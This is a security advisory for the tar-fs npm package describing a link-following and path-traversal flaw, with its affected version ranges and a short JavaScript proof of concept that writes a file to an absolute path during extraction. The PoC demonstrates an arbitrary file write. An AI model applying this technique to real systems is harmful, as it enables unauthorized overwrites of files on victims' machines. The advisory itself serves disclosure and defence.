GHSA-pq67-2wwv-3xjx

tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package. This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7. ### PoC ```javascript // Create a writable stream to extract the tar content const extractStream = tarfs.extract('/', { // We can ignore the file type checks to allow the extraction of the malicious file ignore: (name) => false, }); // Create a tar stream const tarStream = tarfs.pack().on('error', (err) => { throw err; }); // Append the malicious entry to the tar stream tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!')); // Finalize the tar stream tarStream.finalize(); // Pipe the tar stream into the extract stream tarStream.pipe(extractStream); ```